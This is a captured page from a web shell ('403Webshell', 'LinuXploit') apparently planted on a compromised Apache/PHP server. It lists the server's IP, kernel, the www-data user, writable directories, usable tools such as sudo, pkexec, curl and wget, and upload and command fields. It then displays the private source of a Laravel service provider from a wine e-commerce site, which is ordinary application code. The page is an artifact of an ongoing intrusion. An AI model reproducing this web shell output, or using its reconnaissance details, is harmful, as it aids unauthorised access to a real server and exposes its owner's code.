403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Providers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Providers/ComposerServiceProvider.php
<?php

namespace App\Providers;

use App\Modules\AdegaVirada\Services\AdegaViradaService;
use Illuminate\Support\ServiceProvider;
use App\Modules\Questionamento\Models\Questionamento;
use App\Modules\Notificacao\Models\Notificacao;
use App\Modules\RedeSocial\Models\RedeSocial;
use App\Services\CartService;
use App\Services\GeralService;
use App\Modules\Confraria\Services\ConfrariaService;
use App\Modules\Cadastro\Models\Cadastro;
use App\Modules\Oferta\Models\Oferta;
use App\Services\OfertaService;

use App\Modules\Canal\Models\Canal;

use App\BasicInfo;

use App\User;
use Sentinel;
use DB;

class ComposerServiceProvider extends ServiceProvider
{
	/**
	* Bootstrap the application services.
	*
	* @return void
	*/
	public function boot()
	{
		//
		\View::composer('layouts/website', function($view){
			$data = array();
			$user = Sentinel::getUser();

			$data['basic_info']        = \App\BasicInfo::find(1);
			$data['listaRedesSociais'] = RedeSocial::get();
			$data['htmlCart']          = CartService::buscarHtmlCart();

			//CartCount
			$data['cartCount'] = CartService::buscarQtdeItensCart();

			$data['oferta_semana']         = GeralService::buscarOfertaDaSemana();
			$data['oferta_semana_cliente'] = FALSE;

			$data['oferta_solidaria'] = GeralService::buscarOfertaSolidaria();

			$data['oferta_da_equipe'] = OfertaService::buscarOfertaEquipe();

			$data['confrariaCheck'] = false;
			$data['participanteAdegaVirada'] = false;
			$data['usuarioLogado'] = false;
			
			if (isset($user->id)) {
				$data['usuarioLogado'] = Cadastro::where('user_id', $user->id)->first();
				if($data['oferta_semana']){
					$data['oferta_semana_cliente'] = GeralService::buscarOfertaDaSemanaCliente($data['oferta_semana'], $data['usuarioLogado']);
				}

				$data['confrariaCheck'] = ConfrariaService::buscarConfrariaUsuarioLogado();
				$data['participanteAdegaVirada'] = AdegaViradaService::regulamentoStatus();

			} else {
				$data['usuarioLogado'] = false;
			}


			$data['exibeRetrospectiva'] = GeralService::exibeRetrospectiva();

			$data['configMenuLateral'] = GeralService::configMenuLateral();

			$data['reservaTimeout'] = str_replace("=", "", base64_encode('reservaTimeout'));

			$data['clienteLogado'] = $data['usuarioLogado'];

			$data['informacoesBasicasAdega'] = GeralService::buscarInformacoesBasicasAdegaAberta();
			$data['oferta_relampago'] = GeralService::buscarOfertaCanalRelampago();

			$dataAtual               = date('Y-m-d H:i');
			$data['listaCanais']     = GeralService::buscarListaCanais();
			$data['canaisLiberados'] = BasicInfo::first()->value('liberar_canais');

			//Verifica se página atual é BlackFriday
			$data['isBlackFridayPage'] = false;

			if($data['canaisLiberados']){

				$data['canal_black_friday'] = GeralService::checkCanalBlackFriday();

				if($data['canal_black_friday']){

					$maxPercentualDesconto           = GeralService::buscarMaxPercentualDescontoCanal($data['canal_black_friday']);
					$data['maxPercentualDescontoBF'] = $maxPercentualDesconto ? number_format($maxPercentualDesconto->percentual_desconto, 0) : 0;

					if($data['canal_black_friday']->slug == \Request::segment(2)){
						$data['isBlackFridayPage'] = true;
					}elseif(\Request::segment(1) == 'oferta' && \Request::segment(2)){
						$oferta = Oferta::select('oferta.*')->where('slug', \Request::segment(2))->first();
						if($oferta && isset($oferta->canalHasOferta->canal) && $oferta->canalHasOferta->canal->tipo == 'BF'){
							$data['isBlackFridayPage'] = true;
						}
					}
				}
			}

			$data['cupomPrimeiraCompra'] = CartService::buscarCupomPrimeiraCompra();
			$data['primeiraCompra']      = GeralService::buscarPrimeiraCompra();
			$data['oferta_confraria_check'] = GeralService::buscarOfertaConfraria();
			$data['cupomIndicacao'] = CartService::buscarCupomIndicacao();
			$data['previewBlackFriday'] = Canal::where('slug', 'black-friday-2023')->first();

			$data['linkLoginConvite'] = false;

            $anoEdicao = 2022;
            $adegaViradaInfo = AdegaViradaService::buscarAdegaVirada($anoEdicao);
            $data['exibeAdegaVirada'] = ($adegaViradaInfo && $adegaViradaInfo->ativo && date('Y-m-d H:i:s') >= $adegaViradaInfo->data_ativacao);
			/*
			if(\Request::segment(1) == 'convite-confraria'){
				$codigo = \Route::current()->parameter('codigo_confraria');
				$data['linkLoginConvite'] = "login?cod_conf={$codigo}";
			}
			*/

			// 'convite-confraria'

			$view->with('data', $data);
		});

		\View::composer('layouts/website-confraria', function($view){
			$data = array();
			$user = Sentinel::getUser();

			$data['basic_info']        = \App\BasicInfo::find(1);
			$data['listaRedesSociais'] = RedeSocial::get();
			$data['htmlCart']          = CartService::buscarHtmlCart();

			//CartCount
			$data['cartCount'] = CartService::buscarQtdeItensCart();

			$data['oferta_semana']         = GeralService::buscarOfertaDaSemana();
			$data['oferta_semana_cliente'] = FALSE;

			$data['oferta_solidaria'] = GeralService::buscarOfertaSolidaria();
			
			if (isset($user->id)) {
				$data['usuarioLogado'] = Cadastro::where('user_id', $user->id)->first();
				if($data['oferta_semana']){
					$data['oferta_semana_cliente'] = GeralService::buscarOfertaDaSemanaCliente($data['oferta_semana'], $data['usuarioLogado']);
				}
			} else {
				$data['usuarioLogado'] = false;
			}

			$data['exibeRetrospectiva'] = GeralService::exibeRetrospectiva();

			$data['configMenuLateral'] = GeralService::configMenuLateral();

			$data['reservaTimeout'] = str_replace("=", "", base64_encode('reservaTimeout'));

			$data['clienteLogado'] = $data['usuarioLogado'];

			$data['informacoesBasicasAdega'] = GeralService::buscarInformacoesBasicasAdegaAberta();
			$data['oferta_relampago'] = GeralService::buscarOfertaCanalRelampago();

			$dataAtual               = date('Y-m-d H:i');
			$data['listaCanais']     = GeralService::buscarListaCanais();
			$data['canaisLiberados'] = BasicInfo::first()->value('liberar_canais');

			//Verifica se página atual é BlackFriday
			$data['isBlackFridayPage'] = false;

			if($data['canaisLiberados']){

				$data['canal_black_friday'] = GeralService::checkCanalBlackFriday();

				if($data['canal_black_friday']){

					$maxPercentualDesconto           = GeralService::buscarMaxPercentualDescontoCanal($data['canal_black_friday']);
					$data['maxPercentualDescontoBF'] = $maxPercentualDesconto ? number_format($maxPercentualDesconto->percentual_desconto, 0) : 0;

					if($data['canal_black_friday']->slug == \Request::segment(2)){
						$data['isBlackFridayPage'] = true;
					}elseif(\Request::segment(1) == 'oferta' && \Request::segment(2)){
						$oferta = Oferta::select('oferta.*')->where('slug', \Request::segment(2))->first();
						if($oferta && isset($oferta->canalHasOferta->canal) && $oferta->canalHasOferta->canal->tipo == 'BF'){
							$data['isBlackFridayPage'] = true;
						}
					}
				}
			}

			$data['cupomPrimeiraCompra'] = CartService::buscarCupomPrimeiraCompra();
			$data['primeiraCompra']      = GeralService::buscarPrimeiraCompra();

			$view->with('data', $data);
		});

		\View::composer('layouts/landing-confraria', function($view){
			$data = array();
			$user = Sentinel::getUser();

			$data['basic_info']        = \App\BasicInfo::find(1);
			$data['listaRedesSociais'] = RedeSocial::get();
			$data['htmlCart']          = CartService::buscarHtmlCart();

			//CartCount
			$data['cartCount'] = CartService::buscarQtdeItensCart();

			$data['oferta_semana']         = GeralService::buscarOfertaDaSemana();
			$data['oferta_semana_cliente'] = FALSE;

			$data['oferta_solidaria'] = GeralService::buscarOfertaSolidaria();
			
			if (isset($user->id)) {
				$data['usuarioLogado'] = Cadastro::where('user_id', $user->id)->first();
				if($data['oferta_semana']){
					$data['oferta_semana_cliente'] = GeralService::buscarOfertaDaSemanaCliente($data['oferta_semana'], $data['usuarioLogado']);
				}
			} else {
				$data['usuarioLogado'] = false;
			}

			$data['exibeRetrospectiva'] = GeralService::exibeRetrospectiva();

			$data['configMenuLateral'] = GeralService::configMenuLateral();

			$data['reservaTimeout'] = str_replace("=", "", base64_encode('reservaTimeout'));

			$data['clienteLogado'] = $data['usuarioLogado'];

			$data['informacoesBasicasAdega'] = GeralService::buscarInformacoesBasicasAdegaAberta();
			$data['oferta_relampago'] = GeralService::buscarOfertaCanalRelampago();

			$dataAtual               = date('Y-m-d H:i');
			$data['listaCanais']     = GeralService::buscarListaCanais();
			$data['canaisLiberados'] = BasicInfo::first()->value('liberar_canais');

			//Verifica se página atual é BlackFriday
			$data['isBlackFridayPage'] = false;

			if($data['canaisLiberados']){

				$data['canal_black_friday'] = GeralService::checkCanalBlackFriday();

				if($data['canal_black_friday']){

					$maxPercentualDesconto           = GeralService::buscarMaxPercentualDescontoCanal($data['canal_black_friday']);
					$data['maxPercentualDescontoBF'] = $maxPercentualDesconto ? number_format($maxPercentualDesconto->percentual_desconto, 0) : 0;

					if($data['canal_black_friday']->slug == \Request::segment(2)){
						$data['isBlackFridayPage'] = true;
					}elseif(\Request::segment(1) == 'oferta' && \Request::segment(2)){
						$oferta = Oferta::select('oferta.*')->where('slug', \Request::segment(2))->first();
						if($oferta && isset($oferta->canalHasOferta->canal) && $oferta->canalHasOferta->canal->tipo == 'BF'){
							$data['isBlackFridayPage'] = true;
						}
					}
				}
			}

			$data['cupomPrimeiraCompra'] = CartService::buscarCupomPrimeiraCompra();
			$data['primeiraCompra']      = GeralService::buscarPrimeiraCompra();

			$view->with('data', $data);
		});

		\View::composer('layouts/confraria', function($view){
			
			$data = array();
			$user = Sentinel::getUser();

			$data['basic_info']        = \App\BasicInfo::find(1);
			$data['listaRedesSociais'] = RedeSocial::get();
			$data['htmlCart']          = CartService::buscarHtmlCart();

			//CartCount
			$data['cartCount'] = CartService::buscarQtdeItensCart();

			$data['oferta_semana']         = GeralService::buscarOfertaDaSemana();
			$data['oferta_semana_cliente'] = FALSE;

			$data['oferta_solidaria'] = GeralService::buscarOfertaSolidaria();
			
			if (isset($user->id)) {
				$data['usuarioLogado'] = Cadastro::where('user_id', $user->id)->first();
				if($data['oferta_semana']){
					$data['oferta_semana_cliente'] = GeralService::buscarOfertaDaSemanaCliente($data['oferta_semana'], $data['usuarioLogado']);
				}
			} else {
				$data['usuarioLogado'] = false;
			}

			$data['exibeRetrospectiva'] = GeralService::exibeRetrospectiva();

			$data['configMenuLateral'] = GeralService::configMenuLateral();

			$data['reservaTimeout'] = str_replace("=", "", base64_encode('reservaTimeout'));

			$data['clienteLogado'] = $data['usuarioLogado'];

			$data['informacoesBasicasAdega'] = GeralService::buscarInformacoesBasicasAdegaAberta();
			$data['oferta_relampago'] = GeralService::buscarOfertaCanalRelampago();

			$dataAtual               = date('Y-m-d H:i');
			$data['listaCanais']     = GeralService::buscarListaCanais();
			$data['canaisLiberados'] = BasicInfo::first()->value('liberar_canais');

			//Verifica se página atual é BlackFriday
			$data['isBlackFridayPage'] = false;

			if($data['canaisLiberados']){

				$data['canal_black_friday'] = GeralService::checkCanalBlackFriday();

				if($data['canal_black_friday']){

					$maxPercentualDesconto           = GeralService::buscarMaxPercentualDescontoCanal($data['canal_black_friday']);
					$data['maxPercentualDescontoBF'] = $maxPercentualDesconto ? number_format($maxPercentualDesconto->percentual_desconto, 0) : 0;

					if($data['canal_black_friday']->slug == \Request::segment(2)){
						$data['isBlackFridayPage'] = true;
					}elseif(\Request::segment(1) == 'oferta' && \Request::segment(2)){
						$oferta = Oferta::select('oferta.*')->where('slug', \Request::segment(2))->first();
						if($oferta && isset($oferta->canalHasOferta->canal) && $oferta->canalHasOferta->canal->tipo == 'BF'){
							$data['isBlackFridayPage'] = true;
						}
					}
				}
			}

			$data['cupomPrimeiraCompra'] = CartService::buscarCupomPrimeiraCompra();
			$data['primeiraCompra']      = GeralService::buscarPrimeiraCompra();

			$dataOfertaKit = GeralService::retornaData(date('m'), date('Y'));
			$data['ofertaKitConfraria'] = GeralService::buscarOfertaConfraria($dataOfertaKit);

			$cadastro  = GeralService::buscarClienteLogado();
			$confraria = ConfrariaService::buscarConfrariaUsuarioLogado();

			$qtd_membros = 0;
			if($confraria){
				$qtd_membros = DB::table('confraria_membro')->where('confraria_membro.deleted', 0)->where('confraria_id', $confraria->id)->count();
			}

			$data['cadastro']    = $cadastro;
			$data['confraria']   = $confraria;
			$data['qtd_membros'] = $qtd_membros;

			$view->with('data', $data);
		});

		\View::composer('layouts/admins/app', function($view){
			$data = array();
			$data['modulos'] = \App\Gerador::where('id_tipo_modulo', '!=', 3)->where('menu', 1)->orderBy('ordem', 'ASC')->orderBy('label', 'ASC')->get();
			$user = User::find(Sentinel::getUser()->id);
			$data['notificacoes'] = $user->unreadNotifications;

			//Verifica Módulo
			$currentPath = \Request::path();
	        $pieces = explode('/', $currentPath);

	        $data['pagina_atual'] = count($pieces) == 1 ? 'Dashboard Inicial' : '';

	        if(!empty($pieces) && isset($pieces[1])){
	            $Modulo = \App\Gerador::where('rota', $pieces[1])->first();
	            if($Modulo){
	            	$data['pagina_atual'] = $Modulo->label;
	            }
	        }

			$months             = GeralService::montarMeses(12, FALSE);
			$data['meses_dash'] = $months;
			$data['usersRH'] 	= GeralService::getUsersRH();
			
			$view->with('data', $data);
		});
		\View::composer('layouts/admins/playground', function($view){
			$data = array();
			$data['modulos'] = \App\Gerador::where('id_tipo_modulo', '!=', 3)->where('menu', 1)->orderBy('ordem', 'ASC')->orderBy('label', 'ASC')->get();
			$user = User::find(Sentinel::getUser()->id);
			$data['notificacoes'] = $user->unreadNotifications;

			//Verifica Módulo
			$currentPath = \Request::path();
	        $pieces = explode('/', $currentPath);

	        $data['pagina_atual'] = count($pieces) == 1 ? 'Dashboard Inicial' : '';

	        if(!empty($pieces) && isset($pieces[1])){
	            $Modulo = \App\Gerador::where('rota', $pieces[1])->first();
	            if($Modulo){
	            	$data['pagina_atual'] = $Modulo->label;
	            }
	        }

			$months             = GeralService::montarMeses(12, FALSE);
			$data['meses_dash'] = $months;

			$data['usersRH'] 	= GeralService::getUsersRH();
			
			$view->with('data', $data);
		});
		\View::composer('layouts/admins/fornecedor', function($view){
			$data = array();
			$data['modulos'] = \App\Gerador::where('id_tipo_modulo', '!=', 3)->where('menu', 1)->orderBy('ordem', 'ASC')->orderBy('label', 'ASC')->get();
			$user = User::find(Sentinel::getUser()->id);
			$data['notificacoes'] = $user->unreadNotifications;

			//Verifica Módulo
			$currentPath = \Request::path();
	        $pieces = explode('/', $currentPath);

	        $data['pagina_atual'] = count($pieces) == 1 ? 'Dashboard Inicial' : '';

	        if(!empty($pieces) && isset($pieces[1])){
	            $Modulo = \App\Gerador::where('rota', $pieces[1])->first();
	            if($Modulo){
	            	$data['pagina_atual'] = $Modulo->label;
	            }
	        }

			$months             = GeralService::montarMeses(12, FALSE);
			$data['meses_dash'] = $months;
			
			$view->with('data', $data);
		});
		\View::composer('layouts/medico/app', function($view){
			$data = array();
			$data['modulos'] = \App\Gerador::where('id_tipo_modulo', '!=', 3)->where('menu', 1)->orderBy('ordem', 'ASC')->orderBy('label', 'ASC')->get();
			$view->with('data', $data);
		});
		\View::composer('layouts/secretaria/app', function($view){
			$data = array();
			$data['modulos'] = \App\Gerador::where('id_tipo_modulo', '!=', 3)->where('menu', 1)->orderBy('ordem', 'ASC')->orderBy('label', 'ASC')->get();
			$view->with('data', $data);
		});
		\View::composer('layouts/financeiro/app', function($view){
			$data = array();
			$data['modulos'] = \App\Gerador::where('id_tipo_modulo', '!=', 3)->where('menu', 1)->orderBy('ordem', 'ASC')->orderBy('label', 'ASC')->get();
			$view->with('data', $data);
		});

	}

	/**
	* Register the application services.
	*
	* @return void
	*/
	public function register()
	{
		//
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit